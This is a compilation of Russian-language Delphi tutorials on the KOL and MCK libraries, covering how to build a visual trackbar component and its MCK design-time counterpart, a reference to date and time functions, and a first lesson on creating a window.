Статьи по Delphi (011)…

Создание компонентов для KOL и MCK - Часть 3 - Создание визуального KOL компонента.

Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Жаров Дмитрий aka Gandalf WEB-сайт: http://kol.mastak.ru

Полную версию библиотеки KOL и MCK можно скачать здесь

Создание визуального KOL компонента: Сфера вид сбоку.

На самом деле создание визуальных компонентов под KOL и MCK не сильно отличается от создания не визуальных, но некоторые различия все же есть, они следует из разницы между визуальными и не визуальными компонентами вообще: 1. Наследование 2. Создание (New) 3. Сообщения (Events) Пойдем по порядку. Наследоваться можно от TObj как и мы делали для не визуальных компонентов, а можно от TControl второй способ рекомендован Кладовым. И в данной главе мы рассмотрим именно его. Вообще наследование от TControl имеет один недостаток, который поначалу пугает - нельзя вводить свои переменные в новый тип, вы скажите, что без этого создать компонент нельзя, но не беспокойтесь этот дефект довольно легко обходится. Именно из-за этого дефекта появилась идея наследоваться от TObj, но как показала практика его нечего, боятся, это даже не дефект это особенность. Так же выяснилось, что наследование TObj добавляет массу проблем, при создании MCK компонента, не говоря уже о KOL. Да и при доведении до полной работоспособности код становится очень громоздким (в 3-5 и более раз, что отражается на размере откомпилированного файла), плохо адаптируемым к новым версиям KOL .Все же идея изначально была неплоха и в данной статье она рассматривается. С наследованием решили, теперь создание, опять же чтобы не водить по воздуху руками возьмем в качестве примера много страдальным TrackBar.

unit KOLMHTrackBar;
interface
uses
  windows, messages, KOL;
type
  PMHTrackBar =^TMHTrackBar;
  TKOLMHTrackBar = PMHTrackBar;
  TMHTrackBar = object(TControl)
    private
      function GetOnScroll: TOnScroll;
      procedure SetOnScroll(const Value: TOnScroll);
      function GetFrequency: DWord;
      procedure SetFrequency(const Value: DWord);
      procedure SetOrientation(const Value: TTrackBarOrientation);
      function GetOrientation: TTrackBarOrientation;
    public
      procedure Recreate;
      procedure ClearSel;
      property Orientation: TTrackBarOrientation read GetOrientation write SetOrientation;
      property Frequency: DWord read GetFrequency write SetFrequency;
      property Position: DWord index 2 read GetVal write SetVal;
      property OnScroll: TOnScroll read GetOnScroll write SetOnScroll;
    end;
const
  TRACKBAR_CLASS = 'msctls_trackbar32';
  TBS_AUTOTICKS = $0001;
  TBS_VERT = $0002;
  TBS_HORZ = $0000;
  TBS_TOP = $0004;
  TBS_BOTTOM = $0000;
  TBS_LEFT = $0004;
  TBS_RIGHT = $0000;
  TBS_BOTH = $0008;
  TBS_NOTICKS = $0010;
  TBS_ENABLESELRANGE = $0020;
  TBS_FIXEDLENGTH = $0040;
  TBS_NOTHUMB = $0080;
  TBS_TOOLTIPS = $0100;
  TBM_GETPOS = WM_USER; 
  TBM_GETRANGEMIN = WM_USER + 1; 
  TBM_GETRANGEMAX = WM_USER + 2; 
  TBM_GETTIC = WM_USER + 3;
  TBM_SETTIC = WM_USER + 4;
  TBM_SETPOS = WM_USER + 5; 
  TBM_SETRANGE = WM_USER + 6; 
  TBM_SETRANGEMIN = WM_USER + 7; 
  TBM_SETRANGEMAX = WM_USER + 8; 
  TBM_CLEARTICS = WM_USER + 9;
  TBM_SETSEL = WM_USER + 10; 
  TBM_SETSELSTART = WM_USER + 11; 
  TBM_SETSELEND = WM_USER + 12; 
  TBM_GETPTICS = WM_USER + 14;
  TBM_GETTICPOS = WM_USER + 15;
  TBM_GETNUMTICS = WM_USER + 16;
  TBM_GETSELSTART = WM_USER + 17; 
  TBM_GETSELEND = WM_USER + 18; 
  TBM_CLEARSEL = WM_USER + 19; 
  TBM_SETTICFREQ = WM_USER + 20; 
  TBM_SETPAGESIZE = WM_USER + 21; 
  TBM_GETPAGESIZE = WM_USER + 22; 
  TBM_SETLINESIZE = WM_USER + 23; 
  TBM_GETLINESIZE = WM_USER + 24; 
  TBM_GETTHUMBRECT = WM_USER + 25; 
  TBM_GETCHANNELRECT = WM_USER + 26; 
  TBM_SETTHUMBLENGTH = WM_USER + 27; 
  TBM_GETTHUMBLENGTH = WM_USER + 28;
  TBM_SETTOOLTIPS = WM_USER + 29;
  TBM_GETTOOLTIPS = WM_USER + 30; 
  TBM_SETTIPSIDE = WM_USER + 31;
  TBTS_TOP = 0;
  TBTS_LEFT = 1;
  TBTS_BOTTOM = 2;
  TBTS_RIGHT = 3;
  TBM_SETBUDDY = WM_USER + 32;
  TBM_GETBUDDY = WM_USER + 33;
  TBM_SETUNICODEFORMAT = CCM_SETUNICODEFORMAT;
  TBM_GETUNICODEFORMAT = CCM_GETUNICODEFORMAT;
  TB_LINEUP = 0;
  TB_LINEDOWN = 1;
  TB_PAGEUP = 2;
  TB_PAGEDOWN = 3;
  TB_THUMBPOSITION = 4;
  TB_THUMBTRACK = 5;
  TB_TOP = 6;
  TB_BOTTOM = 7;
  TB_ENDTRACK = 8;
  TBCD_TICS = $0001;
  TBCD_THUMB = $0002;
  TBCD_CHANNEL = $0003;
  Visible2Style: array [Boolean] of DWord = ($0, WS_VISIBLE);
  Orientation2Style: array [TTrackBarOrientation] of DWord = (TBS_HORZ, TBS_VERT);
  function NewMHTrackBar(AParent: PControl; Visible: Boolean; Orientation: TTrackBarOrientation; 
                         OnScroll: TOnScroll): PMHTrackBar;
implementation
type
  PTrackbarData = ^TTrackbarData;
  TTrackbarData = packed record
    FOnScroll: TOnScroll;
    FOrientation: TTrackBarOrientation;
    FFrequency: DWord;
end;
function WndProcTrackbarParent( Sender: PControl; var Msg: TMsg; var Rslt: Integer ): Boolean;
var
  D: PTrackbarData;
  Trackbar: PMHTrackbar;
begin
  Result := FALSE;
  if (Msg.message = WM_HSCROLL) or (Msg.message = WM_VSCROLL) then
    if (Msg.lParam <> 0) then
    begin
      Trackbar := Pointer( GetProp( Msg.lParam, ID_SELF ) );
      if Trackbar <> nil then
      begin
        D := Trackbar.CustomData;
        if Assigned( D.FOnScroll ) then
          D.FOnScroll( Trackbar, Msg.wParam );
        end;
      end;
    end;
function NewMHTrackBar(AParent: PControl; Visible: Boolean; Orientation: TTrackBarOrientation;
                       OnScroll: TOnScroll): PMHTrackBar;
var
  D: PTrackbarData;
begin
  DoInitCommonControls( ICC_BAR_CLASSES );
  Result := PMHTrackbar(_NewCommonControl(AParent, TRACKBAR_CLASS, WS_CHILD or
            Visible2Style[Visible] or TBS_FIXEDLENGTH or TBS_ENABLESELRANGE or
            Orientation2Style[Orientation], False, 0));
  GetMem(D, Sizeof(D^));
  Result.CustomData := D;
  D.FOnScroll := OnScroll;
  AParent.AttachProc(WndProcTrackbarParent);
end;
procedure TMHTrackBar.Recreate;
begin
end;
function TMHTrackBar.GetFrequency: DWord;
var
  D: PTrackbarData;
begin
  D := CustomData;
  Result := D.FFrequency;
end;
procedure TMHTrackBar.SetFrequency(const Value: DWord);
var
  D: PTrackbarData;
begin
  D := CustomData;
  D.FFrequency := Value;
  Perform(TBM_SETTICFREQ, Value, 1);
end;
function TMHTrackBar.GetOrientation: TTrackBarOrientation;
begin
  Result := PTrackbarData(CustomData)^.FOrientation;
end;
procedure TMHTrackBar.SetOrientation(const Value: TTrackBarOrientation);
begin
  PTrackbarData(CustomData)^.FOrientation := Value;
  Recreate;
end;
function TMHTrackbar.GetOnScroll: TOnScroll;
var
  D: PTrackbarData;
begin
  D := CustomData;
  Result := D.FOnScroll;
end;
procedure TMHTrackbar.SetOnScroll(const Value: TOnScroll);
var
  D: PTrackbarData;
begin
  D := CustomData;
  D.FOnScroll := Value;
end;
procedure TMHTrackbar.ClearSel;
begin
  Perform(TBM_CLEARSEL, 1, 0);
end;
function TMHTrackbar.GetPosition: DWord;
begin
  Result := Perform(TBM_GETPOS, 0, 0);
end;
procedure TMHTrackbar.SetPosition(const Value: DWord);
begin
  Perform(TBM_SETPOS, 1, Value);
end;
end.

Исходный код приведен не полностью, поскольку он довольно велик, из него были извлечены фрагменты, не содержащие информацию обучающего характера, если вы все же хотите увидеть весь код, вы можете найти их в Интернете или написать мне. Посмотрим, что у нас есть - создание:

function NewMHTrackBar(AParent: PControl; Visible: Boolean; Orientation: TTrackBarOrientation;
                       OnScroll: TOnScroll): PMHTrackBar;
var
  D: PTrackbarData;
begin
  DoInitCommonControls( ICC_BAR_CLASSES );
  Result := PMHTrackbar(_NewCommonControl(AParent, TRACKBAR_CLASS, WS_CHILD
            or Visible2Style[Visible] or TBS_FIXEDLENGTH or TBS_ENABLESELRANGE or
            Orientation2Style[Orientation], False, 0));
  GetMem(D, Sizeof(D^));
  Result.CustomData := D;
  D.FOnScroll := OnScroll;
  AParent.AttachProc(WndProcTrackbarParent);
end;

Начнем с переедаемых параметров - Parent, Visible, Orientation, OnScroll - думаю назначение ясно без комментариев, но достойны ли они идти в качестве постоянных "спутников жизни"? Без Родителя компонент не создать! Видимость можно указать на этапе создания - поэтому выносить ее отдельно не хочется. Ориентацию вообще можно установить только во время создания и поменять нельзя! Событие желательно прикреплять как можно раньше, ну что думаю, возражений нет. Строка:

DoInitCommonControls( ICC_BAR_CLASSES );

Нужна для инициализации "стандартных компонентов" (CommonControls - понятие API). Особенность этой строки заключается в том, что ее необходимо вызывать только один раз, для любого числа ТrаскВаr'ов. И поэтому появляться в New она собственно недолжна, лучше ее поместить в конце модуля.

begin
  DoInitCommonControls( ICC_BAR_CLASSES );
end.

Тогда если TrackBar(ы) создается(ются) эта строка вызывается, если же нет, то KOL и MCK удалит сам модуль из uses и вызываться она не будет - оптимизация. Хотя есть еще мысль поручить вызов функции MCK части компонента (где-нибудь в SetupFirst) вроде того:

procedure TKOLMHTrackBar.SetupFirst(SL: TStringList; const AName, AParent, Prefix: string);
 …
begin
  SL.Add(' DoInitCommonControls( ICC_BAR_CLASSES );');
  …

Преимущества пока не совсем очевидны, но если договорится, веем оформлять подобные (с точки зрения количества вызовов) функции таким образом (в MCK части компонента) и перед добавлением данной строки осуществлять проверку на ее наличие, то можно облегчить код, а значит и размер программы (заметим, что это отразится и на быстродействии, в положительную сторону) - правда не очень (насчет выгоды не хочу вводить вас в заблуждение - она невелика, мелочь, а приятно). Ладно, далее:

Result := PMHTrackbar(_NewCommonControl(AParent, TRACKBAR_CLASS, WS_CHILD    
          or Visible2Style[Visible] or TBS_FIXEDLENGTH or TBS_ENABLESELRANGE or
          Orientation2Style[Orientation], False, 0));

Просто создание. _NewCommonControl призвана создавать "стандартные компоненты", если хотите обычных вам подойдет _NewControl. Список параметров прост - думаю, разберетесь сами. PMHTrackbar(…) - преобразование типов необходимо, _NewCom… возвращает PControl, а нам нужен PMHTrackBar. А вот, например на Orientation2Style[Orientation] прошу обратить внимание! Некоторые для преобразования типов используют функции - но данная методика через массив, осуществляется проще, работает быстрее, занимает меньше места - советую применять. Далее очень интересный момент, помните, я говорил, нельзя вводить новые переменные, а вот и решение:

GetMem(D, Sizeof(D^));
Result.CustomData := D;
D.FOnScroll := OnScroll;

Выделяем память, и передаем указатель на данные стандартному свойству CustomData. Тип PTrackbarData мы определили, и добавили все необходимое нам для счастья переменные. Об освобождении памяти можно забыть, Кладов заботливо сделал это за нас, и она (память) будет заботливо освобождена при уничтожении компонента. Не забудем присвоить уже полученное значение (OnScroll). А теперь тоже интересный и важный момент - создание события (event) - OnScroll:

AParent.AttachProc(WndProcTrackbarParent);

function WndProcTrackbarParent( Sender: PControl; var Msg: TMsg; var Rslt: Integer ): Boolean;
var
  D: PTrackbarData;
  Trackbar: PMHTrackbar;
begin
  Result := FALSE;
  if (Msg.message = WM_HSCROLL) or (Msg.message = WM_VSCROLL) then
    if (Msg.lParam <> 0) then
    begin
      Trackbar := Pointer( GetProp( Msg.lParam, ID_SELF ) );
      if Trackbar <> nil then
      begin
        D := Trackbar.CustomData;
        if Assigned( D.FOnScroll ) then
           D.FOnScroll( Trackbar, Msg.wParam );
      end;
    end;
end;

Не вдаваясь в API (это тема не нашей статьи) - она смотрит, что за событие (нам нужен WM_XXSCROLL), и для кого пришло (Handle) и если есть обработчик (OnScroll) пользователя - он выполняется, все. Может возникнуть справедливый вопрос - чем мне не нравится стандартный обработчик OnScroll (он ведь уже есть) - отвечаю нечем, это просто пример. Теперь займемся свойствами. Установка позиции, API позволяет, получит нынешние состояние при помощи функции и установить необходимое, поэтому мы не используем CustomData. Вызов Perform аналогичен SendMessage(Handle,…), т.е. посылает сообщение себе.

function TMHTrackbar.GetPosition: DWord;
begin
  Result := Perform(TBM_GETPOS, 0, 0);
end;
procedure TMHTrackbar.SetPosition(const Value: DWord);
begin
  Perform(TBM_SETPOS, 1, Value);
end;

А вот если API вернуть нынешнее состояние параметра не в состоянии, его предется сохранять в CustomData:

function TMHTrackBar.GetOrientation: TTrackBarOrientation;
begin
  Result := PTrackbarData(CustomData)^.FOrientation;
end;
procedure TMHTrackBar.SetOrientation(const Value: TTrackBarOrientation);
begin
  PTrackbarData(CustomData)^.FOrientation := Value;
  Recreate;
end;
function TMHTrackbar.GetOnScroll: TOnScroll;
var
  D: PTrackbarData;
begin
  D := CustomData;
  Result := D.FOnScroll;
end;
procedure TMHTrackbar.SetOnScroll(const Value: TOnScroll);
var
  D: PTrackbarData;
begin
  D := CustomData;
  D.FOnScroll := Value;
end;

Тут показаны методики доступа к CustomData -правда, просто - причем два способа, причем с точки зрения откомпилированного кода он тождественны, выбирайте на вкус, я люблю первый. Вы наверняка заметили в функции SetOrientation вызов Recreate, но сама функция пустая. Как я уже говорил, есть свойства, который в режиме работы поменять можно только пересоздав компонент (Ориентация - например, один из них). Кладов предлагает два выхода: 1. Создать в режиме разработки несколько компонентов с необходимыми наборами свойств, а потом переключать их при помощи Visible (т.е. ненужные скрывать, нужные показывать). 2. В режиме работы, старый уничтожать, а новый создавать с необходимым набором свойств (только в обратном порядки, сначала создать, а потом разрушить - чтобы избежать пропадания компонента и было, откуда копировать свойства). Первый метод громоздок, с точки зрения разработки, да и если у вас много свойств - и вы все хотите менять, то количество компонентов, которое вам понадобиться может быть очень солидным. Второй громоздкий в плане исполнения руками - рутинен. Я предлагаю, чтобы не нагружать разработчика, большим и не нужным кодом, создать один раз Recreate (в KOL модуле) и вызывать его. С точки зрения потерь в эффективности - они небольшие, и появляется исключительно в специфических случаях, а так методики равнозначные. В любом случае имеющаяся сейчас у меня методика воссоздания меня не сильно устраивает. Есть идея войти глубже в KOL, и создать такие методы для TObj и TComponent (а может где и еще). Если у кого есть идеи, пишите - дискуссия открыта. Собственно вот мы и разобрали весь код. Есть еще функция ClearSel, но она банальна и в себе ничего нового не несет. Теперь вы умеете создавать визуальные компоненты, для KOL. Вооружаемся MSDN и в бой! Я хочу сказать, пока глава не окончилась еще пару слов об оптимизации. Человеку свойственна оптимизация, она идет от стремления к совершенству, но это не тема статьи. Есть два типа оптимизации: абсолютная - когда в результате растет и быстродействие и падает объем программы, относительное - когда улучшается что одно, а другое ухудшается (скорость - размер, размер - скорость).Для людей характерен первый вариант (абсолютная), чуть реже они оптимизирует в угоду скорости (это факт). Я хочу рассмотреть оптимизацию в пользу объема. И поступим мы так, возьмем наш TrackBar и посмотрим на следующие свойства:

property Min: DWord…;
property Max: DWord …;
property Position: DWord …;
property SelStart: DWord …;
property SelEnd: DWord …;
property PageSize: DWord …;
property LineSize: DWord …;
property ThumbLength:DWord…;

Как мы обычно делаем? SetMax/GetMax, SetMin/GetMin и пошло. А если подумать, они все одного типа. Теперь посмотрим на код функций и процедур Set/Get:

function TMHTrackbar.GetPosition: DWord;
begin
  Result := Perform(TBM_GETPOS, 0, 0);
end;
procedure TMHTrackbar.SetPosition(const Value: DWord);
begin
  Perform(TBM_SETPOS, 1, Value);
end;

Или вот:

function TMHTrackbar.GetMax: DWord;
begin
  Result := Perform(TBM_GETRANGEMIN, 0, 0);
end;
procedure TMHTrackbar.SetMin(const Value: DWord);
begin
  Perform(TBM_SETRANGEMIN, 1, Value);
end;

Можно обобщить как:

property Min: DWord index 0 read GetVal write SetVal;
property Max: DWord index 1 read GetVal write SetVal;
property Orientation: TTrackBarOrientation read GetOrientation write SetOrientation;
property Position: DWord index 2 read GetVal write SetVal;
property SelStart: DWord index 3 read GetVal write SetVal;
property SelEnd: DWord index 4 read GetVal write SetVal;
property PageSize: DWord index 5 read GetVal write SetVal;
property LineSize: DWord index 6 read GetVal write SetVal;
property ThumbLength: DWord index 7 read GetVal write SetVal;
function TMHTrackbar.GetVal(const Index: Integer): DWord;
  type RVal = packed record
    Com: DWord;
    Par1: Byte;
    Par2: Byte;
  end;
const
  Val: array [0..7] of RVal = 
       (
       (Com: TBM_GETRANGEMIN; Par1: 0; Par2: 0),
       (Com: TBM_GETRANGEMAX; Par1: 0; Par2: 0),
       (Com: TBM_GETPOS; Par1: 0; Par2: 0),
       (Com: TBM_GETSELSTART; Par1: 0; Par2: 0),
       (Com: TBM_GETSELEND; Par1: 0; Par2: 0),
       (Com: TBM_GETPAGESIZE; Par1: 0; Par2: 0),
       (Com: TBM_GETLINESIZE; Par1: 0; Par2: 0),
       (Com: TBM_GETTHUMBLENGTH; Par1: 0; Par2: 0)
       );
begin
  with Val[Index] do
    Result := Perform(Com, Par1, Par2);
end;
procedure TMHTrackbar.SetVal(const Index: Integer; const Value: DWord);
  
  type RVal = packed record     Com: DWord;
    Use1: Byte;
    Use2: Byte;
    Par1: Byte;
    Par2: Byte;
  end;
const
  Val: array [0..7] of RVal = 
       (
       (Com: TBM_SETRANGEMIN; Use1: 0; Use2: 1; Par1: 1; Par2: 0),
       (Com: TBM_SETRANGEMAX; Use1: 0; Use2: 1; Par1: 1; Par2: 0),
       (Com: TBM_SETPOS; Use1: 0; Use2: 1; Par1: 1; Par2: 0),
       (Com: TBM_SETSELSTART; Use1: 0; Use2: 1; Par1: 1; Par2: 0),
       (Com:TBM_SETSELEND; Use1:0; Use2:1; Par1:1; Par2: 0),
       (Com: TBM_SETPAGESIZE; Use1: 0; Use2: 1; Par1: 1; Par2: 0),
       (Com: TBM_SETLINESIZE; Use1: 0; Use2: 1; Par1: 1; Par2: 0),
       (Com: TBM_SETTHUMBLENGTH; Use1: 1; Use2: 0; Par1: 0; Par2: 0)
       );
begin
with Val[Index] do
  Perform(Com, Value*Use1 + Par1, Value*Use2 + Par2);
end;

Как вам, вместо 14 методов 2? Статистику слегка портит THUMBLENGTH, но его можно выкинуть и упростить методы. Можно еще под Com выделять байт и сделать так:

…
(Com: TBM_SETRANGEMIN - WM_USER; Use1: 0; Use2: 1; Par1: 1; Par2: 0),
…
Perform(Com + WM_USER, Value*Use1 + Par1, Value*Use2 + Par2);

Еще экономия. Вы можете сказать, что теперь код стал медленнее, это так, но не сильно - это раз, а во-вторых в деле графического интерфейса - это не самый критичный код (самый критичный отрисовка - а ей руководит ОС). Мда… маленькая вставочка - недаром я хотел ее в отдельную главу оформить.

Создание компонентов для KOL и MCK - Часть 4 - Создание визуальных MCK объектов.

Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Жаров Дмитрий aka Gandalf WEB-сайт: http://kol.mastak.ru

Полную версию библиотеки KOL и MCK можно скачать здесь

Создание визуальных MCK объектов: Не опять, а снова.

Вообще-то учить вас тут нечему, различий тут еще меньше чем в KOL части, но кое-что еще есть. Визуальные компоненты наследуются от TKOLControl - он специально для этого создан. Мы добавили свое событие, как добавить код, и какой? Ну, это не сложно, потупим так (часть кода вырезана):

uses
  Windows, Controls, Classes, mirror, KOL, Graphics, MCKCtrls, KOLMHTrackBar;
type
  TKOLMHTrackBar = class(TKOLControl)
  private
    …
    FOnScroll: TOnScroll;
    procedure SetOnScroll(const Value: TOnScroll);
    …
  public
    property OnScroll: TOnScroll read FOnScroll write SetOnScroll;
    …
end;

Вот и все, будет жить. Да обратите внимание на uses - я его не просто так привел, TOnScroll есть в разных модулях, нам нужен тот, который в KOLMHTrackBar, поэтому порядок следования важен! Чтобы не полагаться на порядок лучше писать KOLMHTrackBar. TOnScroll. Но это событие уже было определено, и мы его переопределили, если создано новое, то надо переопределить процедуру AssignEvents - она занимается регистрацией событий. Делается это так:

protected
  procedure AssignEvents(SL: TStringList; const AName: string); override;
  …
  procedure TKOLMHTrackBar.AssignEvents(SL: TStringList; const AName: string);
begin
  inherited;
  DoAssignEvents( SL, AName, [ 'OnMyEvent'], [ @OnMyEvent] );
end;

Не много труда! Да вот важный момент, если мы попытаемся сейчас применить компонент, нас обругает компилятор, мол, несоответствие типов (Incompatible types: 'TControl' and 'TMHTrackBar' - если дословно). Чтобы сохранить паритет, надо их привести к одному знаменателю, я предлагаю сделать так - переопределить конструкцию создания:

protected
  procedure SetupConstruct( SL: TStringList; const AName, AParent, Prefix: string ); override;
  …
procedure TKOLMHTrackBar.SetupConstruct(SL: TStringList; const AName, AParent, Prefix: string);
var S: String;
begin
  S := GenerateTransparentInits;
  SL.Add( Prefix + AName + ' := PMHTrackbar( New' + TypeName + '( ' + 
          SetupParams( AName, AParent ) + ' )' + S + ');' );
end;

Благодаря этому коду, у нас теперь будет генерироваться, нет, не New,… а PMHTrackBar(New…. (SetupParams - узнаете)), элементарно. Мы изменили конструкцию генерации! GenerateTransparentInits - нужен для последующей совместимости с KOL и MCK, он пока ничего не делает, но когда будет реализована прозрачность он себя покажет. Для рассмотрения еще одного момента добавим в наш компонент Buddyes - такие окошки, которые располагаются рядом с ТrаскВаr'ом, в качестве их можно назначить любой компонент. В KOL часть такой код:

private
  function GetHandle(const Index: Integer): HWnd;
  procedure SetHandle(const Index: Integer; const Value: HWnd);
  …
public
  …
  property BuddyRightBottom: HWnd index 0 read GetHandle write SetHandle;
  property BuddyLeftTop: HWnd index 1 read GetHandle write SetHandle;
  …
function TMHTrackbar.GetHandle(const Index: Integer): HWnd;
const
  Mes: array [0..1] of DWord = (TBM_GETBUDDY, TBM_GETBUDDY);
begin
  Result := Perform(Mes[Index], Index, 0);
end;
procedure TMHTrackbar.SetHandle(const Index: Integer; const Value: HWnd);
const
  Mes: array [0..1] of DWord = (TBM_SETBUDDY, TBM_SETBUDDY);
begin
  Perform(Mes[Index], Index , Value);
end;

А в MCK часть:

private
  …
  FBuddyLeftTop: TKOLControl;
  FBuddyRightBottom: TKOLControl;
  procedure SetBuddyLeftTop(const Value: TKOLControl);
  procedure SetBuddyRightBottom(const Value: TKOLControl);
published
  …
  property BuddyLeftTop: TKOLControl read FBuddyLeftTop write SetBuddyLeftTop;
  property BuddyRightBottom: TKOLControl read FBuddyRightBottom write SetBuddyRightBottom;
  …
procedure TKOLMHTrackBar.SetBuddyLeftTop(const Value: TKOLControl);
begin
  FBuddyLeftTop := Value;
  Change;
end;
procedure TKOLMHTrackBar.SetBuddyRightBottom(const Value: TKOLControl);
begin
  FBuddyRightBottom := Value;
  Change;
end;

Теперь мы можем выбирать компонент из формы и назначать в качестве Buddy, но не торопитесь добавлять код в SetupFirst:

if FBuddyLeftTop <> nil then
  SL.Add(Prefix + AName + '.BuddyLeftTop:=Result.' + FBuddyLeftTop.Name + '.GetWindowHandle;');
if FBuddyRightBottom <> nil then
  SL.Add(Prefix + AName + '.BuddyRightBottom:=Result.' + FBuddyRightBottom.Name + 
         '.GetWindowHandle;');

Это не будет работать! Фокус в том мы пытаемся, присвоит Handle объектов до того, когда они созданы, это невозможно. Что же делать? Выход есть! Надо использовать SetupLast. Он займется обеспечением того, чтобы сначала Buddyes были созданы, а потом уже было присвоение кода. Механически это выполняется при помощи изменения положения строк кода. Т.е. сначала идет код создания Buddyes, а потом присвоение Handle. Поступаем следующим образом:

protected
  procedure SetupLast(SL: TStringList; const AName, AParent, Prefix: String); override;
  …
procedure TKOLMHTrackBar.SetupLast(SL: TStringList; const AName, AParent, Prefix: String);
begin
  inherited;
  if FBuddyLeftTop <> nil then
    SL.Add(Prefix + AName + '.BuddyLeftTop:=Result.' + FBuddyLeftTop.Name + '.GetWindowHandle;');
  if FBuddyRightBottom <> nil then
    SL.Add(Prefix + AName + '.BuddyRightBottom:=Result.' + 
           FBuddyRightBottom.Name + '.GetWindowHandle;');
  if FToolTip <> nil then
    SL.Add(Prefix + AName + '.ToolTip:=Result.' + FToolTip.Name + '.GetWindowHandle;');
end;

Теперь последние штрихи. Вас не раздражают в ОbjесtInsресtоr'е лишние свойства? Они достались нам в наследство от TKOLControl. Уберем их, для этого сделаем фиктивную переменную, и переопределим свойства только, на чтение - такие свойства ObjectInspector прячет:

private
  …
  // Фиктивное свойство
  FNotAvailable: Boolean;
  …
public
  … 
  property Caption: Boolean read FNotAvailable;
  property Color: Boolean read FNotAvailable;
  property Font: Boolean read FNotAvailable;
end;

Их больше нет! Теперь запустим компонент, чего не хватает, что режет глаз? Отрисовка, вместо красивого ползунка - прямоугольник и гордым именем. Я не буду давать уроков рисования - рисовать компоненты будете вы, я подскажу, как это реализовать. Сначала переопределим Paint:

protected
  procedure Paint; override;

Но этого мало, надо сказать MKC, что вы можете отрисовать компонент, но это еще проще:

protected
  function WYSIWIGPaintImplemented: Boolean; override;
function TKOLEditBox.WYSIWIGPaintImplemented: Boolean;
begin
  Result := TRUE;
end;

Я помню еще те времена, когда у MCK не было отрисовки совсем, это (меня) страшно злило, и я начал поиски - идея повторять отрисовку MicroSoft меня не вдохновляло (повторять - всегда сложно, а ведь нужно именно повторить). Но никуда не денешься, пришлось рисовать, я, собрав волю в кулак, сделал отрисовку Label, Edit. Пример оказался заразительным сейчас большинства компонентов есть отрисовка. Бог в помощь! Ну вот, пожалуй, и все, действительно все.

Заключение: Пожалуй, не все… Да, я не претендую на полноту изложения. Я сказал не все! Времени не хватило, сил. Набирая эти строки, я обдумываю еще пару глав, кое-какие дополнения, коррективы. Есть компоненты, которым не нужна KOL часть. Есть вариант наследования визуальных компонентов от TObj, еще много чего есть. Есть еще и специфические моменты, с которыми, вы не встретитесь, а если встретитесь, то моя помощь уже вам будет не нужна. Наверно после прочтения этой статьи остались те, кому она не понравилась, те кто ее не понял, те кто поняли, что это не для них. Но я верю, что были и те, кто до прочтения не знал, как создавать компоненты под KOL и MCK , а после прочтения стали их делать. Эту статью я писал для них. И если они есть, я работал не напрасно. Прошу вас KOL и MCK - это точно не VCL. Не городите лишних компонентов, сделайте основные компоненты. Не дублируйте имеющиеся - развивайте их. Возможно, эту статью должен был написать Кладов, но ее написал я…

Справочник по KOL - Функции работы с датами и временем.

Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru

Полную версию библиотеки KOL и MCK можно скачать здесь.

Function Now: TDateTime; Возвращает текущую датау и время на вашем компьютере. TDateTime в KOL ни чем не отличается от VCL аналога. TDateTime представляет из себя число с плавающей запятой (т.е. Double), целая часть которого содержит число дней, отсчитанное от некоторого начала календаря, а дробная часть равна части 24-часового дня, т.е. характеризует время и не относится к дате.

Function CompareSystemTime( const D1, D2: TSystemTime ): Integer; Функция сравнивает 2-е записи типа TSystemTime. На выходе: -1 если D1 < D2 0 если D1 = D2 1 если D1 > D2. TSystemTime - структура используемая в Winddows API для хранения данных о датах и времени. IMHO зачастую она даже удобней в использование обычной TDateTime. Подробней конечно можно посмотреть и в Win32.hlp, но всетаки... Для получения системного времени : GetSystemTime Для установки системного времени на вашем компьютере: SetSystemTime.

 
type
PSystemTime = ^TSystemTime;
  TsystemTime = record
  wYear: Word; //год
  wMonth: Word; //месяц
  wDayofWeek: Word; //день недели
  wDay: Word; //день
  wHour: Word; //часы
  wMinute: Word; // минуты
  wSecond: Word; // секунды
  wMilliseconds: Word; // миллисекунды
end;

procedure IncDays( var SystemTime: TSystemTime; DaysNum: Integer ); Увеличивает или уменьщает количество дней в записи типа TSystemTime. DaysNum может быть отрицательным.

Procedure IncMonths( var SystemTime: TSystemTime; MonthsNum: Integer ); Увеличивает или уменьщает количество дней в записи типа TSystemTime. DaysNum может быть отрицательным. Правильный результат не гарантирован если число дней превышено для нового месяца.

Function IsLeapYear( Year: Word ): Boolean; . Возвращает true если указанные год Year является высокосным (то есть имеет 29 дней в Феврале).

Function DayOfWeek( Date: TDateTime ): Integer; Возвращает день недели (от 0 до 6) для текушей даты.

Function SystemTime2DateTime( const SystemTime: TSystemTime; var DateTime: TDateTime ): Boolean; Преобразует дату из типа TSystemTime в TDateTime.

Function DateTime2SystemTime( const DateTime: TDateTime; var SystemTime: TSystemTime ): Boolean; Преобразует дату из типа TDateTime в TSystemTime.

Function CatholicEaster( nYear: Integer ): TDateTime; Возвращает дату католического рождества в указаном году.

Урок 1 - Базовые знания о KOL - Наше первое окно.

Ведущий раздела KOL и MCK: Анатолий aka XVeL Автор: Борис Моренко WEB-сайт: http://kol.mastak.ru

Полную версию библиотеки KOL и MCK можно скачать здесь.

Базовые знания о KOL

Базовый объект TObj - аналог класса TObject из VCL. TObj мало похож на своего старшего брата, разве что методом удаления Free. Я никогда не применял TObj для дела, поэтому плавно перейду ко второму (самому главному для работы) объекту TControl. TControl может выполнять роль любого визуального обьекта и фактически выполняет обязанности для которых в Delphi отведены десяток классов. Для создания определенного контрола вам надо воспользоваться соответствующим "конструктором" . Под конструктором подразумевается функция, в параметрах у которой указывается родительский объект ( на нем будет находится ваш контрол, если дело касается визуальных объектов). В KOL есть и другие объекты, но про них я расскажу в соответствующих уроках так как они более узкоспециализированны.

Подробнее о теории в статье KOL - кодоэкономичная объектная библиотека для Delphi.

Наше первое окно.

Фактически, это не только ваше первое окно написанное с помощью KOL, но и первая программа с использованием этой библиотеки :).

Для начало удалим все лишнее. Лишним я называю все, что относится к визуальному программированию и VCL. В меню “Project“ выберите “Remove from Project“ и удалите форму. Теперь подредактируем и файл проекта. Нажмите F12 и выберите соответствующий файл.

То, что вы увидите, будет выглядеть примерно так:

program Project1;
uses
  Forms;
{$R *.RES}
begin
  Application.Initialize;
  Application.Run;
end.

program Project1;
uses
  Windows,
  messages,
  KOL;
{$R *.RES}
begin
end.

